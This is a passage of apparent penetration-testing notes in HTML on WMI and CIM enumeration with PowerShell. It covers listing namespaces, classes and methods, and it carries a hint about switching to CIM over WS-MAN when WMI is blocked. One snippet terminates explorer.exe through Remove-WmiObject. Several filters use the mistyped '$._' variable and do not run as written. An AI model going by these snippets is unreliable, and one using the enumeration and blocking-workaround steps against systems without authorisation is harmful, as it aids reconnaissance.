0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Misc</span></h2>
<p id="bkmrk-get-the-commands"><span data-offset-key="2ade99fcb1c54a54b55f93c0877788dd:3" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMklmJTIwV01JJTIwaXMlMjBibG9ja2VkJTJDJTIwd2UlMjBjYW4lMjB0cnklMjB0byUyMHVzZSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJDSU0lMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmNvbW1hbmRzJTIwd2l0aCUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJXUy1NQU4lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q="><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMHRoZSUyMGNvbW1hbmRzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Get the commands</span></span></p>
<pre id="bkmrk-get-command--command"><code class="language-Powershell">Get-Command -CommandType cmdlet *wmi*
Get-Command -CommandType cmdlet *cim*</code></pre>
<h3 id="bkmrk-useful-windows-utili"><span class="text-4505230f--HeadingH600-23f228db--textContentFamily-49a318e1"><span data-key="a06e883b63f1457ea79df746312fa576">Useful Windows Utility</span></span></h3>
<div data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlVzZWZ1bCUyMFdpbmRvd3MlMjBVdGlsaXR5JTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNhcGllbiUyMFdNSSUyMEV4cGxvcmVyJTIwLSUyMEJyb3dzZSUyQyUyMGdlbmVyYXRlJTIwcXVlcmllcyUyMGFuZCUyMG1vcmUlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtaXRlbSUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJXTUklMjBDb2RlJTIwQ3JlYXRvciUyMC0lMjBHZW5lcmF0ZSUyMFdNSSUyMHF1ZXJpZXMlMjBpbiUyMFZCU2NyaXB0JTJDJTIwQyUyMyUyMGFuZCUyMFZCLk5ldCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldNSUdlbi5leGUlMjAtJTIwR2VuZXJhdGUlMjBXTUklMjBxdWVyaWVzJTIwaW4lMjBtYW55JTIwbGFuZ3VhZ2VzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyV2JlbXRlc3QuZXhlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyUG93ZXJTaGVsbCUyMFdNSSUyMEV4cGxvcmVyJTIwLSUyMFNjcmlwdCUyMHdoaWNoJTIwY2FuJTIwZ2VuZXJhdGUlMjBXTUklMjBjb2RlJTIwc2FtcGxlcyUyMGZyb20lMjBHVUklMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" id="bkmrk-sapien-wmi-explorer-">
<div>
<div>
<div>
<ul class="list-20526648" data-key="3353c1a8b2194a14b3be9f4155f4de36"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="1800107b58a1477e8b14f8338385ec31"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="01efe97235bb4c21956703107b47399e">Sapien WMI Explorer - Browse, generate queries and more</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="b071123804fe47ebbcd93db980a96814"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="c51dc260fb3f410d893f6aede0a5837c">WMI Code Creator - Generate WMI queries in VBScript, C# and VB.Net</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="b98f417558b544a8a97daf9035e7a2d2"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="0ae8257cbff24a019ed3069515e25974">WMIGen.exe - Generate WMI queries in many languages</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="9f45d4c69a7e4e11bc792a6f1b45e4e7"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="806aa729365547968a49f22dfbf50b76">Wbemtest.exe</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="831d5e1a05f04c66ba3bb0ffdcd766dc"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="d2a2e552dc3d4a8da17cca4605dcb548">PowerShell WMI Explorer - Script which can generate WMI code samples from GUI</span></span></p>
</li>
</ul></div>
</div>
</div>
</div>
<h2 id="bkmrk-enumeration"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkVudW1lcmF0aW9uJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Enumeration</span></h2>
<h3 id="bkmrk-exploring-namespaces"><span class="text-4505230f--HeadingH600-23f228db--textContentFamily-49a318e1"><span data-key="ed44ef0325734fb6a2dc0f7bb42ca49a">Exploring Namespaces</span></span></h3>
<h4 id="bkmrk-enumerate-all-namesp"><span class="text-4505230f--HeadingH400-686c0942--textContentFamily-49a318e1"><span data-key="e41965487a0d464cab9ef23e8727577e">Enumerate all namespaces</span></span></h4>
<pre id="bkmrk-get-wmiobject--names"><code class="language-Powershell">Get-WmiObject -Namespace "root" -Class "_Namespace" | select Name
Get-CimInstance -Namespace "root" -Class "_Namespace" | select Name</code></pre>
<h4 id="bkmrk-nested-namespaces"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk5lc3RlZCUyMG5hbWVzcGFjZXMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Nested namespaces</span></h4>
<pre id="bkmrk-%23from-powershellmaga"><code class="language-Powershell">#From powershellmagazine 2013
Get-WmiNamespace.ps1</code></pre>
<h3 id="bkmrk-exploring-classes"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkV4cGxvcmluZyUyMENsYXNzZXMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Exploring Classes</span></h3>
<p id="bkmrk-classes-are-items-in"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkV4cGxvcmluZyUyMENsYXNzZXMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Classes are items in the namespaces</span></p>
<pre id="bkmrk-get-wmiobject--list-"><code class="language-Powershell">Get-WmiObject -List
Get-WmiObject -Class *bios* -List
Get-WmiObject -NameSpace "root/default" -List
Get-CimClass -List</code></pre>
<h4 id="bkmrk-get-only-the-dynamic"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMG9ubHklMjB0aGUlMjBkeW5hbWljJTIwY2xhc3NlcyUyMCh0byUyMHF1ZXJ5JTIwdGhlbSUyMGFmdGVyKSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Get only the dynamic classes (to query them after)</span></h4>
<pre id="bkmrk-get-cimclass--qualif"><code class="language-Powershell">Get-CimClass -QualifierName dynamic</code></pre>
<h4 id="bkmrk-information-about-a-"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkluZm9ybWF0aW9uJTIwYWJvdXQlMjBhJTIwY2xhc3MlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Information about a class</span></h4>
<pre id="bkmrk-get-wmiobject--class"><code class="language-Powershell">Get-WmiObject -Class Win32_BIOS #Exact name
Get-CimInstance -ClassName Win32_BIOS</code></pre>
<h4 id="bkmrk-filter"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkZpbHRlciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Filter</span></h4>
<pre id="bkmrk-get-wmiobject--class-0"><code class="language-Powershell">Get-WmiObject -Class Win32_process | Where-Object {$._Name -eq "explorer.exe"}</code></pre>
<h3 id="bkmrk-remove-objects"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJlbW92ZSUyME9iamVjdHMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Remove Objects</span></h3>
<pre id="bkmrk-get-wmiobject--class-1"><code class="language-Powershell">Get-WmiObject -Class Win32_process | Where-Object {$._Name -eq "explorer.exe"} | Remove-WmiObject</code></pre>
<h3 id="bkmrk-exploring-methods"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkV4cGxvcmluZyUyME1ldGhvZHMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Exploring Methods</span></h3>
<pre id="bkmrk-get-wmiobject-%2A--lis"><code class="language-Powershell">Get-WmiObject * -List | Where-Object {$._Methods}</code></pre>
<p id="bkmrk-get-all-methods"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMGFsbCUyMG1ldGhvZHMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Get all methods</span></p>
<pre id="bkmrk-get-cimclass--method"><code class="language-Powershell">Get-CimClass -MethodName *</code></pre>
<h4 id="bkmrk-get-all-class-with-a"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMGFsbCUyMGNsYXNzJTIwd2l0aCUyMGElMjBtZXRob2QlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Get all class with a method</span></h4>
<pre id="bkmrk-get-cimclass--method-0"><code class="language-Powershell">Get-CimClass -MethodName Create</code></pre>
<h4 id="bkmrk-get-methods-of-a-cla"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMG1ldGhvZHMlMjBvZiUyMGElMjBjbGFzcyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Get methods of a class</span></h4>
<pre id="bkmrk-get-wmiobject--class-2"><code class="language-Powershell">Get-WmiObject -Class win32_process -List | select -ExpandProperty methods</code></pre>
<h4 id="bkmrk-get-parameters-for-a"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMHBhcmFtZXRlcnMlMjBmb3IlMjBhJTIwbWV0aG9kJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Get parameters for a method</span></h4>
<pre id="bkmrk-get-cimclass--classn"><code class="language-Powershell">Get-CimClass -ClassName win32_process | select -ExpandProperty CimClassMethods | where name -eq "Create" | select -ExpandProperty Parameters</code></pre>
